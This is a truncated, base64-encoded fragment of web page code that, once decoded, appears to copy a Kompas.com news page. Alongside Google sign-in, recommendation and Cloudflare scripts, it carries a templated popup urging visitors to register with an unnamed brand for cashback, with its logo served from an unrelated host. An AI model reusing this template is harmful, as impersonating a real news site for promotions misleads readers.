b2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHNjcmlwdCk7CiAgICAgICAgLy8gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2tnbU1vZGFsLW9uZXRhcCcpLmRhdGFzZXQuZXZlbnRMYWJlbCA9IGxhYmVsCiAgICAgICAgLy8gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2tnbU1vZGFsLW9uZXRhcC1jbG9zZS1pdGVyYWN0aW9uJykuZGF0YXNldC5ldmVudExhYmVsID0gbGFiZWwKICAgICAgICBvbmVUYXBTaG93KCdyZWFjdGlvbicpOwogICAgfSkpOwogICAgLy8gZW5kIHJlYWN0aW9uIHJ1bGUKCiAgICAvLyBzdGFydCBjb21tZW50IHJ1bGUKICAgIGxldCBDb21tZW50U2hvdyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdidG5TZW5kSXRlcmF0aW9uJyk7CiAgICBpZiAoISFDb21tZW50U2hvdykgewoKICAgICAgICBDb21tZW50U2hvdy5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIGZ1bmN0aW9uIChlKSB7CgogICAgICAgICAgICBoaWRlQnV0dG9uQ2xvc2UoKTsKCiAgICAgICAgICAgIHZhciBrZ21Nb2RhbE9uZVRhcEl0ZXJhY3Rpb24gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgna2dtTW9kYWwtb25ldGFwLWNsb3NlLWl0ZXJhY3Rpb24nKTsKICAgICAgICAgICAga2dtTW9kYWxPbmVUYXBJdGVyYWN0aW9uLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOwoKICAgICAgICAgICAgdmFyIHRyaWdnZXJfdG91Y2hfcG9pbnQgPSAnY2xpY2tfcG9zdF9jb21tZW50JzsKICAgICAgICAgICAgdmFyIGxhYmVsID0gJ1Bvc3QgQ29tbWVudCcKICAgICAgICAgICAgdmFyIHRpdGxlID0gJ0xvZ2luIHVudHVrIG1lbnlhbXBhaWthbiBrb21lbnRhcm11Lic7CgogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ19pZF9vbmxvYWQnKS5kYXRhc2V0LmNvbnRpbnVlID0gYnRvYSh1cmxfY29udGludWUrJz9sZ25fc291cmNlPWtnb25ldGFwJmxnbl90cmlnZ2VyPScrdHJpZ2dlcl90b3VjaF9wb2ludCkKICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2tnbU1vZGFsLXRpdGxlJykuaW5uZXJIVE1MID0gdGl0bGU7CiAgICAgICAgICAgIHZhciBzY3JpcHQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTsKICAgICAgICAgICAgKHNjcmlwdC5zcmMgPSAiaHR0cHM6Ly9hY2NvdW50cy5nb29nbGUuY29tL2dzaS9jbGllbnQiKSwgKHNjcmlwdC5kZWZlciA9ICEwKSwgKHNjcmlwdC5hc3luYyA9ICEwKSwgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzY3JpcHQpOwogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgna2dtTW9kYWwtb25ldGFwJykuZGF0YXNldC5ldmVudExhYmVsID0gbGFiZWwKICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2tnbU1vZGFsLW9uZXRhcC1jbG9zZS1pdGVyYWN0aW9uJykuZGF0YXNldC5ldmVudExhYmVsID0gbGFiZWwKICAgICAgICAgICAgb25lVGFwU2hvdygpOwogICAgICAgIH0pOwogICAgfQogICAgLy8gZW5kIGNvbW1lbnQgcnVsZQoKICAgIGZ1bmN0aW9uIGdldE1ldGEobWV0YU5hbWUpIHsKICAgICAgICBjb25zdCBtZXRhcyA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdtZXRhJyk7CiAgICAgICAgZm9yIChsZXQgaSA9IDA7IGkgPCBtZXRhcy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBpZiAobWV0YXNbaV0uZ2V0QXR0cmlidXRlKCduYW1lJykgPT09IG1ldGFOYW1lKSB7CiAgICAgICAgICAgIHJldHVybiBtZXRhc1tpXS5nZXRBdHRyaWJ1dGUoJ2NvbnRlbnQnKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJyc7CiAgICB9CgogICAgY29uc3QgY2xvc2VNb2RhbE9uZVRhcCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJyNrZ21Nb2RhbC1vbmV0YXAtY2xvc2UtaXRlcmFjdGlvbicpOwogICAgaWYgKCEhY2xvc2VNb2RhbE9uZVRhcCkgewogICAgICAgIGNsb3NlTW9kYWxPbmVUYXAuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBmdW5jdGlvbigpIHsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3JlYWN0aW9uX2xpa2VfdGVtcCcpCiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdyZWFjdGlvbl9kaXNsaWtlX3RlbXAnKQogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgncmVhY3Rpb25fYm9va21hcmtfdGVtcCcpCiAgICAgICAgfSkKICAgIH0KPC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KICAgIHZhciBhZGRlYnVnID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmNwUmlnaHQnKTsKICAgIGZvciAoaSA9IDA7IGkgPCBhZGRlYnVnLmxlbmd0aDsgKytpKSB7CiAgICAgICAgYWRkZWJ1Z1tpXS5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIGZ1bmN0aW9uIGhhbmRsZUNsaWNrKCkgewogICAgICAgICAgICBnb29nbGV0YWcub3BlbkNvbnNvbGUoKTsKICAgICAgICB9KTsKICAgIH07Cjwvc2NyaXB0PgoKCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KICAgIHZhciBpbmplY3RfYmFjYV9qdWdhID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgnaW5qZWN0LWJhY2EtanVnYScpOwogICAgaWYoaW5qZWN0X2JhY2FfanVnYS5sZW5ndGggPiAwKXsKICAgICAgICB2YXIgeGhyX2F1dG9fYmFjYV9qdWdhID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgICAgICAgeGhyX2F1dG9fYmFjYV9qdWdhLm9wZW4oIlBPU1QiLCAiaHR0cHM6Ly9yZWNvbW1lbmRhdGlvbi5rZ2RhdGEuZGV2L3JlYy9rb21wYXNjb20vYXBpL3YyL3JlY29tbWVuZGF0aW9uL2l0ZW0iLCB0cnVlKTsKICAgICAgICB4aHJfYXV0b19iYWNhX2p1Z2Euc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKTsKICAgICAgICB4aHJfYXV0b19iYWNhX2p1Z2Eub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24gKCkgewogICAgICAgICAgICBpZiAoeGhyX2F1dG9fYmFjYV9qdWdhLnJlYWR5U3RhdGUgPT09IDQgJiYgeGhyX2F1dG9fYmFjYV9qdWdhLnN0YXR1cyA9PT0gMjAwKSB7CiAgICAgICAgICAgICAgICB2YXIganNvbl9iYWNhX2p1Z2EgPSBKU09OLnBhcnNlKHhocl9hdXRvX2JhY2FfanVnYS5yZXNwb25zZVRleHQpOwogICAgICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBpbmplY3RfYmFjYV9qdWdhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgICAgICAgICAgaW5qZWN0X2JhY2FfanVnYVtpXS5pbm5lckhUTUwgPSAnPHA+PHN0cm9uZz5CYWNhIGp1Z2E6IDxhIGhyZWY9IicranNvbl9iYWNhX2p1Z2EuaXRlbXNbaV0udXJsLnJlcGxhY2UoJ2h0dHA6LycsJ2h0dHBzOi8nKSsnP3NvdXJjZT1iYWNhanVnYSZlbmdpbmU9QyIgY2xhc3M9ImlubmVyLWxpbmstYmFjYS1qdWdhIiB0YXJnZXQ9Il9zZWxmIj4nK2pzb25fYmFjYV9qdWdhLml0ZW1zW2ldLnRpdGxlKyc8L2E+PC9zdHJvbmc+PC9wPic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9OwogICAgICAgIHZhciBkYXRhID0gSlNPTi5zdHJpbmdpZnkoewogICAgICAgICAgICAicGFnZXVybCIgOiAiPD89ICRjYW5vbmljYWwgPz4iLAogICAgICAgICAgICAicGFnZXR5cGUiIDogImJhY2EtanVnYSIKICAgICAgICB9KTsKICAgICAgICB4aHJfYXV0b19iYWNhX2p1Z2Euc2VuZChkYXRhKTsKICAgIH0KPC9zY3JpcHQ+IAogICAgCiAgICAgICAgCiAgICA8IS0tIChhZHMucG9sKSAtLT4KICAgIDwhLS0gKGFkcy5wZWVsYWQpIC0tPgogICAgPCEtLSAoYWRzLmFtYmllbnQpIC0tPgogICAgPCEtLSAoYWRzLm91dGJyYWluKSAtLT4KICAgIDwhLS0gKGFkcy5waWNrd29yZHMpIC0tPgogICAgPCEtLSAoYWRzLnZpZ25ldHRlKSAtLT4KICAgIDwhLS0gKGFkcy5yZXdhcmRlZCkgLS0+CgoKPGlmcmFtZSBuYW1lPSJnb29nbGVmY1ByZXNlbnQiIHN0eWxlPSJ3aWR0aDogMHB4OyBoZWlnaHQ6IDBweDsgYm9yZGVyOiBub25lOyB6LWluZGV4OiAtMTAwMDsgbGVmdDogLTEwMDBweDsgdG9wOiAtMTAwMHB4OyBkaXNwbGF5OiBub25lOyI+PC9pZnJhbWU+PGlmcmFtZSBuYW1lPSJfX3RjZmFwaUxvY2F0b3IiIHNyYz0iYWJvdXQ6YmxhbmsiIHN0eWxlPSJkaXNwbGF5OiBub25lOyB3aWR0aDogMHB4OyBoZWlnaHQ6IDBweDsgYm9yZGVyOiBub25lOyB6LWluZGV4OiAtMTAwMDsgbGVmdDogLTEwMDBweDsgdG9wOiAtMTAwMHB4OyI+PC9pZnJhbWU+PGlmcmFtZSBuYW1lPSJnb29nbGVmY0luYWN0aXZlIiBzcmM9ImFib3V0OmJsYW5rIiBzdHlsZT0iZGlzcGxheTogbm9uZTsgd2lkdGg6IDBweDsgaGVpZ2h0OiAwcHg7IGJvcmRlcjogbm9uZTsgei1pbmRleDogLTEwMDA7IGxlZnQ6IC0xMDAwcHg7IHRvcDogLTEwMDBweDsiPjwvaWZyYW1lPjxpZnJhbWUgbmFtZT0iZ29vZ2xlZmNMb2FkZWQiIHNyYz0iYWJvdXQ6YmxhbmsiIHN0eWxlPSJkaXNwbGF5OiBub25lOyB3aWR0aDogMHB4OyBoZWlnaHQ6IDBweDsgYm9yZGVyOiBub25lOyB6LWluZGV4OiAtMTAwMDsgbGVmdDogLTEwMDBweDsgdG9wOiAtMTAwMHB4OyI+PC9pZnJhbWU+CiAgICAgICAgPHNlY3Rpb24gY2xhc3M9ImtnbU1vZGFsIC1ub3RpZiAtaGlkZSIgaWQ9ImtnbU1vZGFsLW5vdGlmIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ia2dtTW9kYWwtYmxvY2siPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ia2dtTW9kYWwtYm9keSIgZGF0YS1ldmVudC1jYXRlZ29yeT0icG9wdXBfYm9vc3Rub3RpZmljYXRpb24iIGRhdGEtZXZlbnQtYWN0aW9uPSJ2aWV3X3BvcHVwX2Jvb3N0bm90aWYiIGRhdGEtZXZlbnQtbGFiZWw9InBvcHVwX2Jvb3N0bm90aWYiIGRhdGEtZXZlbnQtdHJhY2s9ImltcHJlc3Npb24iPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImtnbU1vZGFsLWltZyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL3ZwMS50aGV2aWxlcHJvamVjdC54eXovYnJhbmQtbG9nby88Pz0gJGJyYW5kbG93ZXIgPz4vaWNvbi5wbmciIGFsdD0iS29tcGFzLmNvbSIgLz4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8cD48c3Ryb25nPkRBRlRBUiA8Pz0gJGJyYW5kdXBwZXIgPz4gU0VLQVJBTkchPC9zdHJvbmc+IERhbiBjbGFpbSBwcm9tbyBjYXNoYmFja255YS48L3A+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImtnbU1vZGFsLWZvb3RlciI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1yb3ctYmlnIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1yb3ciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iPD89ICRhbXBodG1sID8+IiBjbGFzcz0iYnV0dG9uIC10cmFuc3BhcmVudCIgaWQ9ImtnbU1vZGFsLWJ0bi1kaXNtaXNzIiBkYXRhLWV2ZW50LWNhdGVnb3J5PSJwb3B1cF9ib29zdG5vdGlmaWNhdGlvbiIgZGF0YS1ldmVudC1hY3Rpb249ImNsb3NlX3BvcHVwX2Jvb3N0bm90aWYiIGRhdGEtZXZlbnQtbGFiZWw9InBvcHVwX2Jvb3N0bm90aWYiIGRhdGEtZXZlbnQtdHJhY2s9ImNsaWNrIj5OYW50aSBsYWdpPC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1yb3ciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iPD89ICRhbXBodG1sID8+IiBjbGFzcz0iYnV0dG9uIC1wcmltYXJ5IiBpZD0ia2dtTW9kYWwtYnRuLW5vdGlmIiBkYXRhLWV2ZW50LWNhdGVnb3J5PSJwb3B1cF9ib29zdG5vdGlmaWNhdGlvbiIgZGF0YS1ldmVudC1hY3Rpb249ImNsaWNrX3BvcHVwX2Jvb3N0bm90aWYiIGRhdGEtZXZlbnQtbGFiZWw9InBvcHVwX2Jvb3N0bm90aWYiIGRhdGEtZXZlbnQtdHJhY2s9ImNsaWNrIj5OeWFsYWthbjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9zZWN0aW9uPgogICAgICAgIDxpZnJhbWUgbmFtZT0iZ29vZ190b3BpY3NfZnJhbWUiIHNyYz0iaHR0cHM6Ly9zZWN1cmVwdWJhZHMuZy5kb3VibGVjbGljay5uZXQvc3RhdGljL3RvcGljcy90b3BpY3NfZnJhbWUuaHRtbCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij48L2lmcmFtZT4KPHNjcmlwdCBkZWZlciBzcmM9Imh0dHBzOi8vc3RhdGljLmNsb3VkZmxhcmVpbnNpZ2h0cy5jb20vYmVhY29uLm1pbi5qcy92Y2QxNWNiZTc3NzJmNDljMzk5YzZhNWJhYmYyMmMxMjQxNzE3Njg5MTc2MDE1IiBpbnRlZ3JpdHk9InNoYTUxMi1acHNPbWxSUVY2eTkwN1RJMGRLQkhxOU1kMjlubmFFSVBsa2Y4NHJuYUVSbnE2enZXdlBVcXIyZnQ4TTFhUzI4b043MlBkckN6U2pZNFU2VmFBdzFFUT09IiBkYXRhLWNmLWJlYWNvbj0neyJ2ZXJzaW9uIjoiMjAyNC4xMS4wIiwidG9rZW4iOiJjNTJhZTdjYWQyMmE0MTM1YjQwZDU0YTA1MjEyOTZkMSIsInIiOjEsInNlcnZlcl90aW1pbmciOnsibmFtZSI6eyJjZkNhY2hlU3RhdHVzIjp0cnVlLCJjZkVkZ2UiOnRydWUsImNmRXh0UHJpIjp0cnVlLCJjZkw0Ijp0cnVlLCJjZk9yaWdpbiI6dHJ1ZSwiY2ZTcGVlZEJyYWluIjp0cnVlfSwibG9jYXRpb25fc3RhcnRzd2l0aCI6bnVsbH19JyBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KPHNjcmlwdCBkZWZlciBzcmM9Imh0dHBzOi8vc3RhdGljLmNsb3VkZmxhcmVpbnNpZ2h0cy5jb20vYmVhY29uLm1pbi5qcy92Y2QxNWNiZTc3NzJmNDljMzk5YzZhNWJhYmYyMmMxMjQxNzE3Njg5MTc2MDE1IiBpbnRlZ3JpdHk9InNoYTUxMi1acHNPbWxSUVY2eTkwN1RJMGRLQkhxOU1kMjlubmFFSVBsa2Y4NHJuYUVSbnE2enZXdlBVcXIyZnQ4TTFhUzI4b043MlBkckN6U2pZNFU2VmFBdzFFUT09IiBkYXRhLWNmLWJlYWNvbj0neyJ2ZXJzaW9uIjoiMjAyNC4xMS4wIiwidG9rZW4iOiJmYmQyMDY0Zjk3ODQ0NzljYjJjNmYyZWYxNWVjZWU5MyIsInIiOjEsInNlcnZlcl90aW1pbmciOnsibmFtZSI6eyJjZkNhY2hlU3RhdHVzIjp0cnVlLCJjZkVkZ2UiOnRydWUsImNmRXh0UHJpIjp0cnVlLCJjZkw0Ijp0cnVlLCJjZk9yaWdpbiI6dHJ1ZSwiY2ZTcGVlZEJyYWluIjp0cnVlfSwibG9jYXRpb25fc3RhcnRzd2l0aCI6bnVsbH19JyBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KPHNjcmlwdCBkZWZlciBzcmM9Imh0dHBzOi8vc3RhdGljLmNsb3VkZmxhcmVpbnNpZ2h0cy5jb20vYmVhY29uLm1pbi5qcy92Y2QxNWNiZTc3NzJmNDljMzk5YzZhNWJhYmYyMmMxMjQxNzE3Njg5MTc2MDE1IiBpbnRlZ3JpdHk9InNoYTUxMi1acHNPbWxSUVY2eTkwN1RJMGRLQkhxOU1kMjlubmFFSVBsa2Y4NHJuYUVSbnE2enZXdlBVcXIyZnQ4TTFhUzI4b043MlBkckN6U2pZNFU2VmFBdzFFUT09IiBkYXRhLWNmLWJlYWNvbj0neyJ2ZXJzaW9uIjoiMjAyNC4xMS4wIiwidG9rZW4iOiIzNGExMGQxY2FhMTY0MWY3OGUwYzAwOGY5NmE4N2RmYiIsInIiOjEsInNlcnZlcl90aW1pbmciOnsibmFtZSI6eyJjZkNhY2hlU3RhdHVzIjp0cnVlLCJjZkVkZ2UiOnRydWUsImNmRXh0UHJpIjp0cnVlLCJjZkw0Ijp0cnVlLCJjZk9yaWdpbiI6dHJ1ZSwiY2ZTcGVlZEJyYWluIjp0cnVlfSwibG9jYXRpb25fc3RhcnRzd2l0aCI6bnVsbH19JyBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KPHNjcmlwdCBkZWZlciBzcmM9Imh0dHBzOi8vc3RhdGljLmNsb3VkZmxhcmVpbnNpZ2h0cy5jb20vYmVhY29uLm1pbi5qcy92Y2QxNWNiZTc3NzJmNDljMzk5YzZhNWJhYmYyMmMxMjQxNzE3Njg5MTc2MDE1IiBpbnRlZ3JpdHk9InNoYTUxMi1acHNPbWxSUVY2eTkwN1RJMGRLQkhxOU1kMjlubmFFSVBsa2Y4NHJuYUVSbnE2enZXdlBVcXIyZnQ4TTFhUzI4b043MlBkckN6U2pZNFU2VmFBdzFFUT09IiBkYXRhLWNmLWJlYWNvbj0neyJ2ZXJzaW9uIjoiMjAyNC4xMS4wIiwidG9rZW4iOiIxZjFjMjA3ODZmZjU0NmY3YmE5MmJhMzRhY2IwOTRlZSIsInIiOjEsInNlcnZlcl90aW1pbmciOnsibmFtZSI6eyJjZkNhY2hlU3RhdHVzIjp0cnVlLCJjZkVkZ2UiOnRydWUsImNmRXh0UHJpIjp0cnVlLCJjZkw0Ijp0cnVlLCJjZk9yaWdpbiI6dHJ1ZSwiY2ZTcGVlZEJyYWluIjp0cnVlfSwibG9jYXRpb25fc3RhcnRzd2l0aCI6bnVsbH19JyBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KPHNjcmlwdCBkZWZlciBzcmM9Imh0dHBzOi8vc3RhdGljLmNsb3VkZmxhcmVpbnNpZ2h0cy5jb20vYmVhY29uLm1pbi5qcy92Y2QxNWNiZTc3NzJmNDljMzk5YzZhNWJhYmYyMmMxMjQxNzE3Njg5MTc2MDE1IiBpbnRlZ3JpdHk9InNoYTUxMi1acHNPbWxSUVY2eTkwN1RJMGRLQkhxOU1kMjlubmFFSVBsa2Y4NHJuYUVSbnE2enZXdlBVcXIyZnQ4TTFhUzI4b043MlBkckN6U2pZNFU2VmFBdzFFUT09IiBkYXRhLWNmLWJlYWNvbj0neyJ2ZXJzaW9uIjoiMjAyNC4xMS4wIiwidG9rZW4iOiI3NTUzOTI4ODdkYmY0NTNlOTc5OTg1ZjRmZGE2ZTE4YyIsInIiOjEsInNlcnZlcl90aW1pbmciOnsibmFtZSI6eyJjZkNhY2hlU3RhdHVzIjp0cnVlLCJjZkVkZ2UiOnRydWUsImNmRXh0UHJpIjp0cnVlLCJjZkw0Ijp0cnVlLCJjZk9yaWdpbiI6dHJ1ZSwiY2ZTcGVlZEJyYWluIjp0cnVlfSwibG9jYXRpb25fc3RhcnRzd2l0aCI6bnVsbH19JyBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KPHNjcmlwdCBkZWZlciBzcmM9Imh0dHBzOi8vc3RhdGljLmNsb3VkZmxhcmVpbnNpZ2h0cy5jb20vYmVhY29uLm1pbi5qcy92Y2QxNWNiZTc3NzJmNDljMzk5YzZhNWJhYmYyMmMxMjQxNzE3Njg5MTc2MDE1IiBpbnRlZ3JpdHk9InNoYTUxMi1acHNPbWxSUVY2eTkwN1RJMGRLQkhxOU1kMjlubmFFSVBsa2Y4NHJuYUVSbnE2enZXdlBVcXIyZnQ4TTFhUzI4b043MlBkckN6U2pZNFU2VmFBdzFFUT09IiBkYXRhLWNmLWJlYWNvbj0neyJ2ZXJzaW9uIjoiMjAyNC4xMS4wIiwidG9rZW4iOiIxZGE4ZTNlYTAyNGE0MjI1YjMwOTVlNTZlNzZhMGNkZCIsInIiOjEsInNlcnZlcl90aW1pbmciOnsibmFtZSI6eyJjZkNhY2hlU3RhdHVzIjp0cnVlLCJjZkVkZ2UiOnRydWUsImNmRXh0UHJpIjp0cnVlLCJjZkw0Ijp0cnVlLCJjZk9yaWdpbiI6dHJ1ZSwiY2ZTcGVlZEJyYWluIjp0cnVlfSwibG9jYXRpb25fc3RhcnRzd2l0aCI6bnVsbH19JyBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KPHNjcmlwdCBkZWZlciBzcmM9Imh0dHBzOi8vc3RhdGljLmNsb3VkZmxhcmVpbnNpZ2h0cy5jb20vYmVhY29uLm1pbi5qcy92Y2QxNWNiZTc3NzJmNDljMzk5YzZhNWJhYmYyMmMxMjQxNzE3Njg5MTc2MDE1IiBpbnRlZ3JpdHk9InNoYTUxMi1acHNPbWxSUVY2eTkwN1RJMGRLQkhxOU1kMjlubmFFSVBsa2Y4NHJuYUVSbnE2enZXdlBVcXIyZnQ4TTFhUzI4b043MlBkckN6U2pZNFU2VmFBdzFFUT09IiBkYXRhLWNmLWJlYWNvbj0neyJ2ZXJzaW9uIjoiMjAyNC4xMS4wIiwidG9rZW4iOiJlZGMzZjY1MWEzMmI0M2IzYWNhOWQyZDUwZTYxYWZkMyIsInIiOjEsInNlcnZlcl90aW1pbmciOnsibmFtZSI6eyJjZkNhY2hlU3RhdHVzIjp0cnVlLCJjZkVkZ2UiOnRydWUsImNmRXh0UHJpIjp0cnVlLCJjZkw0Ijp0cnVlLCJjZk9yaWdpbiI6dHJ1ZSwiY2ZTcGVlZEJyYWluIjp0cnVlfSwibG9jYXRpb25fc3RhcnRzd2l0aCI6bnVsbH19JyBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KPHNjcmlwdCBkZWZlciBzcmM9Imh0dHBzOi8vc3RhdGljLmNsb3VkZmxhcmVpbnNpZ2h0cy5jb20vYmVhY29uLm1pbi5qcy92Y2QxNWNiZTc3NzJmNDljMzk5YzZhNWJhYmYyMmMxMjQxNzE3Njg5MTc2MDE1IiBpbnRlZ3JpdHk9InNoYTUxMi1acHNPbWxSUVY2eTkwN1RJMGRLQkhxOU1kMjlubmFFSVBsa2Y4NHJuYUVSbnE2enZXdlBVcXIyZnQ4TTFhUzI4b043MlBkckN6U2pZNFU2VmFBdzFFUT09IiBkYXRhLWNmLWJlYWNvbj0neyJ2ZXJzaW9uIjoiMjAyNC4xMS4wIiwidG9rZW4iOiIwYmE4ZDJlMzFmODM0MmJlYTEwNDlkYjUyMTkyNjFjMyIsInIiOjEsInNlcnZlcl90aW1pbmciOnsibmFtZSI6eyJjZkNhY2hlU3RhdHVzIjp0cnVlLCJjZkVkZ2UiOnRydWUsImNmRXh0UHJpIjp0cnVlLCJjZkw0Ijp0cnVlLCJjZk9yaWdpbiI6dHJ1ZSwiY2ZTcGVlZEJyYWluIjp0cnVlfSwibG9jYXRpb25fc3RhcnRzd2l0aCI6bnVsbH19JyBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KPHNjcmlwdCBkZWZlciBzcmM9Imh0dHBzOi8vc3RhdGljLmNsb3VkZmxhcmVpbnNpZ2h0cy5jb20vYmVhY29uLm1pbi5qcy92Y2QxNWNiZTc3NzJmNDljMzk5YzZhNWJhYmYyMmMxMjQxNzE3Njg5MTc2MDE1IiBpbnRlZ3JpdHk9InNoYTUxMi1acHNPbWxSUVY2eTkwN1RJMGRLQkhxOU1kMjlubmFFSVBsa2Y4NHJuYUVSbnE2enZXdlBVcXIyZnQ4TTFhUzI4b043MlBkckN6U2pZNFU2VmFBdzFFUT09IiBkYXRhLWNmLWJlYWNvbj0neyJ2ZXJzaW9uIjoiMjAyNC4xMS4wIiwidG9rZW4iOiJmZDBlZWUxNjRiZjM0YjQ5OGQ1OGQ4NjE2N2JlZDY4YiIsInIiOjEsInNlcnZlcl90aW1pbmciOnsibmFtZSI6eyJjZkNhY2hlU3RhdHVzIjp0cnVlLCJjZkVkZ2UiOnRydWUsImNmRXh0UHJpIjp0cnVlLCJjZkw0Ijp0cnVlLCJjZk9yaWdpbiI6dHJ1ZSwiY2ZTcGVlZEJyYWluIjp0cnVlfSwibG9jYXRpb25fc3RhcnRzd2l0aCI6bnVsbH19JyBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KPHNjcmlwdCBkZWZlciBzcmM9Imh0dHBzOi8vc3RhdGljLmNsb3VkZmxhcmVpbnNpZ2h0cy5jb20vYmVhY29uLm1pbi5qcy92OGM3OGRmN2M3YzBmNDg0NDk3ZWNiY2E3MDQ2NjQ0ZGExNzcxNTIzMTI0NTE2IiBpbnRlZ3JpdHk9InNoYTUxMi04RFM3cmdJckFtZ2hCRndvT1R1amNmNkQ5clh2SDh4bThKUTFKYTAxaDlRWDhFelhsZGlzenVmWWE0SUZmS2RMVUtUVHJuU0ZYTERrVUVPVHJaUThRZz09IiBkYXRhLWNmLWJlYWNvbj0neyJ2ZXJzaW9uIjoiMjAyNC4xMS4wIiwidG9rZW4iOiI0MDViNzc0NjYzNjg0Y2YyOTMzODNlZmMyM2VkNWY4ZSIsInIiOjEsInNlcnZlcl90aW1pbmciOnsibmFtZSI6eyJjZkNhY2hlU3RhdHVzIjp0cnVlLCJjZkVkZ2UiOnRydWUsImNmRXh0UHJpIjp0cnVlLCJjZkw0Ijp0cnVlLCJjZk9yaWdpbiI6dHJ1ZSwiY2ZTcGVlZEJyYWluIjp0cnVlfSwibG9jYXRpb25fc3RhcnRzd2l0aCI6bnVsbH19JyBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KPHNjcmlwdD4oZnVuY3Rpb24oKXtmdW5jdGlvbiBjKCl7dmFyIGI9YS5jb250ZW50RG9jdW1lbnR8fGEuY29udGVudFdpbmRvdy5kb2N1bWVudDtpZihiKXt2YXIgZD1iLmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO2QuaW5uZXJIVE1MPSJ3aW5kb3cuX19DRiRjdiRwYXJhbXM9e3I6JzlkZWE0YzJlYmEyNDI1ZTInLHQ6J01UYzNNemt3TURRMU5BPT0nfTt2YXIgYT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTthLnNyYz0nL2Nkbi1jZ2kvY2hhbGxlbmdlLXBsYXRmb3JtL3NjcmlwdHMvanNkL21haW4uanMnO2RvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdoZWFkJylbMF0uYXBwZW5kQ2hpbGQoYSk7IjtiLmdldEVsZW1lbnRzQnlUYWdOYW1lKCdoZWFkJylbMF0uYXBwZW5kQ2hpbGQoZCl9fWlmKGRvY3VtZW50LmJvZHkpe3ZhciBhPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lmcmFtZScpO2EuaGVpZ2h0PTE7YS53aWR0aD0xO2Euc3R5bGUucG9zaXRpb249J2Fic29sdXRlJzthLnN0eWxlLnRvcD0wO2Euc3R5bGUubGVmdD0wO2Euc3R5bGUuYm9yZGVyPSdub25lJzthLnN0eWxlLnZpc2liaWxpdHk9J2hpZGRlbic7ZG9jd